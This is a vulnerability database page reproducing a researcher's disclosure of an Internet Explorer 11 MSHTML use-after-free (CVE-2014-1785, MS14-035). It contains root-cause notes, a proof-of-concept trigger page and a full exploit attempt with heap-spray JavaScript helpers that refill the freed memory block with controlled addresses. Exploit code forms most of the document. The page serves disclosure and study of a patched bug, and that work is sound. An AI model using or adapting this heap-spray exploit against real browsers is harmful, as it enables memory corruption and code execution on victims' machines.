Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

Microsoft Internet Explorer 11 MSHTML - CSplice­Tree­Engine::Remove­Splice Use-After-Free (MS14-035)

🗓️ 21 Dec 2016 00:00:00Reported by SkyLinedType 
zdt
 zdt🔗 0day.today👁 59 Views

Microsoft Internet Explorer 11 MSHTML use-after-free vulnerability in CSplice­Tree­Engine::Remove­Splice (MS14-035

Related
Code
ReporterTitlePublishedViews
Family
Circl		CVE-2014-1785
20 Dec 201600:00
–circl
Check Point Advisories		Microsoft Internet Explorer Memory Corruption (MS14-035: CVE-2014-1785)
10 Jun 201400:00
–checkpoint_advisories
CVE		CVE-2014-1785
11 Jun 201401:00
–cve
Cvelist		CVE-2014-1785
11 Jun 201401:00
–cvelist
Microsoft KB		MS14-035: Cumulative security update for Internet Explorer: June 10, 2014
10 Jun 201400:00
–mskb
Kaspersky		KLA10010 Multiple vulnerabilities at Microsoft Internet Explorer
10 Jun 201400:00
–kaspersky
NVD		CVE-2014-1785
11 Jun 201404:56
–nvd
OpenVAS		Microsoft Internet Explorer Multiple Vulnerabilities (2969262)
11 Jun 201400:00
–openvas
Prion		Memory corruption
11 Jun 201404:56
–prion
Prion		Memory corruption
11 Jun 201404:56
–prion
Rows per page
<!--
Source: http://blog.skylined.nl/20161220001.html
 
Synopsis
 
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 11. There is sufficient time between the free and reuse for an attacker to control the contents of the freed memory and exploit the vulnerability.
 
Known affected software, attack vectors and potential mitigations
 
Microsoft Internet Explorer 11
 
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.
 
Details
 
This was one of the first bugs where I attempted to do a proper analysis, and I got some feedback from ZDI that explained what I got right and what I got wrong. Basically, on x86, a 0x28 byte memory block is allocated in MSHTML!CMarkup::Do­Embed­Pointers and when you execute document.exec­Command("Delete"). This memory can be freed when you execute document.open() in a DOMNode­Removed event handler. After that, you can use Javascript to reallocate the memory before it is reused.
 
Repro.html:
 
<!doctype html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=11"> 
    <script type="text/javascript">
      document.add­Event­Listener("DOMNode­Removed", function () {
        document.open(); // free
        // attempt to modify freed memory here
        // because it will be reused after this function returns.
      }, true);
      window.onload = function () {
        document.design­Mode="on";
        document.exec­Command("Select­All");
        document.exec­Command("Delete"); // allocate
      };
    </script>
  </head>
  <body>
  </body>
</html>
 
Exploit
 
After getting the feedback from ZDI that helped me understand the root cause, I attempted to write an exploit that the issue could be controlled and may be exploitable. I did not keep track of whether my attempts where successful, so the below code may not actually function. However, it should give you an idea on how one might go about writing an exploit for this vulnerability.
 
Sploit.html:
-->
 
<!doctype html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=11"> 
    <script src="c­LFHSpray.js"></script>
    <script src="c­Block­Spray.js"></script>
    <script>
      var aau­Copies­And­Sizes  = [
          [0x08, 0x80], 
          [0x08, 0x40], 
          [0x08, 0x20], 
          [0x10, 0x80]
      ];
      var u­Base­Address = 0x12340000;
      var ao­Block­Sprays = new Array(aau­Copies­And­Sizes.length);
      for (var i = 0; i < aau­Copies­And­Sizes.length; i++) {
        ao­Block­Sprays[i] = new c­Block­Spray(aau­Copies­And­Sizes[i][0], aau­Copies­And­Sizes[i][1]);
        ao­Block­Sprays[i].set­Chunk­DWord(0x0100, u­Base­Address + 0x0300);
        ao­Block­Sprays[i].spray();
      }
      document.add­Event­Listener("DOMNode­Removed", function () {
        document.open();
        var o­LFHReuse = new c­LFHSpray(10, 0x28);
        o­LFHReuse.set­DWord(0x10, u­Base­Address + 0x0100);
        o­LFHReuse.set­DWord(0x14, u­Base­Address + 0x0200);
        o­LFHReuse.spray();
      }, true);
      window.onload = function () {
        document.design­Mode="on";
        document.exec­Command("Select­All");
        document.exec­Command("Delete");
        document.design­Mode="off";
      };
    </script>
  </head>
  <body>
  </body>
</html>
 
<!--
########################################################################
 
c­LFHSpray.js:
 
function c­LFHSpray(u­Count, u­Size) {
  this.ao­Elements = new Array(u­Count);
  var au­Spray­Chars = new Array(u­Size - 1 >> 1);
  for (var i = 0; i < au­Spray­Chars.length; i++) {
    au­Spray­Chars[i] = ((i & 0x­FF) * 0x202 + 0x100) & 0x­FFFF;
  }
  this.set­DWord = function(u­Offset, u­Value) {
    this.set­Word(u­Offset, u­Value & 0x­FFFF);
    this.set­Word(u­Offset + 2, u­Value >>> 16);
  }
  this.set­Word = function(u­Offset, u­Value) {
    this.set­Byte(u­Offset, u­Value & 0x­FF);
    this.set­Byte(u­Offset + 1, u­Value >>> 8);
  }
  this.set­Byte = function(u­Offset, u­Value) {
    var u­Char­Offset = u­Offset >> 1;
    var u­Byte0 = (u­Offset & 1 ? au­Spray­Chars[u­Char­Offset] : u­Value) & 0x­FF;
    var u­Byte1 = (u­Offset & 1 ? u­Value : (au­Spray­Chars[u­Char­Offset] >> 8)) & 0x­FF;
    au­Spray­Chars[u­Char­Offset] = u­Byte0 + (u­Byte1 << 8);
  }
  this.spray = function() {
    var s­Spray­Buffer = String.from­Char­Code.apply(0, au­Spray­Chars);
    for (var i = 0; i < u­Count; i++) {
      this.ao­Elements[i] = document.create­Element("span"); // allocate 0x34 bytes
      this.ao­Elements[i].class­Name = s­Spray­Buffer; // allocate 0x10, u­Size and 0x40 bytes.
    }
  }
}
 
########################################################################
 
c­Block­Spray.js:
 
var c­Block­Spray = (function() {
  var u­Chunk­Size = 0x10000;
  var u­Block­Header­Size = 0x10;
  var u­Block­Footer­Size = 0x04;
  var as­Chunk­Template = new Array(u­Chunk­Size / 2);
  for (var u­Index = 0; u­Index < as­Chunk­Template.length; u­Index += 2) {
    as­Chunk­Template[u­Index] = String.from­Char­Code(u­Index);
    as­Chunk­Template[u­Index + 1] = String.from­Char­Code(0x­DEAD);
  }
  return function c­Block­Spray(u­Block­Count, u­Chunk­Count) {
    this.u­Block­Size = u­Chunk­Count * u­Chunk­Size - u­Block­Header­Size - u­Block­Footer­Size;
    var s­Chunk = as­Chunk­Template.join("");
    var s­Block, as­Blocks = new Array(u­Block­Count);
    this.set­Chunk­DWord = function (u­Offset, u­Value) {
      this.set­Chunk­Word(u­Offset, u­Value & 0x­FFFF);
      this.set­Chunk­Word(u­Offset + 2, (u­Value >> 16) & 0x­FFFF);
    }
    this.set­Chunk­Word = function (u­Offset, u­Value) {
      if (s­Block) throw new Error("Cannot set chunk values after generating block");
      if (u­Offset & 1) throw new Error("u­Offset (" + u­Offset.to­String(16) + ") must be Word aligned");
      if (u­Offset >= u­Chunk­Size) throw new Error("u­Offset (" + u­Offset.to­String(16) + ") must be smaller than 0x" + u­Chunk­Size.to­String(16));
      var u­Index = u­Offset / 2;
      var s­Value = String.from­Char­Code(u­Value & 0x­FFFF);
      s­Chunk = s­Chunk.substr(0, u­Index) + s­Value + s­Chunk.substr(u­Index + 1);
    }
    this.generate­Block = function () {
      if (s­Block) throw new Error("Cannot generating block twice");
      s­Block = (
        s­Chunk.substr(u­Block­Header­Size / 2) +
        new Array(u­Chunk­Count - 1).join(s­Chunk) +
        s­Chunk.substr(0, (u­Chunk­Size - u­Block­Footer­Size) / 2)
      );
    }
    this.set­Block­DWord = function (u­Offset, u­Value) {
      this.set­Block­Word(u­Offset, u­Value & 0x­FFFF);
      this.set­Block­Word(u­Offset + 2, (u­Value >> 16) & 0x­FFFF);
    }
    this.set­Block­Word = function (u­Offset, u­Value) {
      if (!s­Block) this.generate­Block();
      if (u­Offset & 1) throw new Error("u­Offset (" + u­Offset.to­String(16) + ") must be Word aligned");
      var u­Index = (u­Offset - u­Block­Header­Size) / 2;
      if (u­Index < 0) throw new Error("u­Offset (" + u­Offset.to­String(16) + ") must be larger than 0x" + u­Block­Header­Size.to­String(16));
      if (u­Index >= s­Block.length) throw new Error("u­Offset (" + u­Offset.to­String(16) + ") must be smaller than 0x" + (u­Block­Header­Size + s­Block.length * 2).to­String(16));
      var s­Value = String.from­Char­Code(u­Value & 0x­FFFF);
      s­Block = s­Block.substr(0, u­Index) + s­Value + s­Block.substr(u­Index + 1);
    }
    this.spray = function() {
      if (!s­Block) this.generate­Block();
      for (var i = 0; i < u­Block­Count; i++) {
        as­Blocks[i] = ("" + s­Block).slice(0);
      }
    }
  }
})();
 
 
Time-line
 
30 December 2013: This vulnerability was submitted to ZDI.
8 January 2014: This vulnerability was acquired by ZDI.
14 January 2014: This vulnerability was disclosed to Microsoft by ZDI.
10 June 2014: This vulnerability was address by Microsoft in MS14-035.
20 December 2016: Details of this vulnerability are released.
-->

#  0day.today [2018-04-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
21 Dec 2016 00:00Current
6.3Medium risk
Vulners AI Score6.3
EPSS0.55938
microsoft internet explorermshtmluse-after-free
59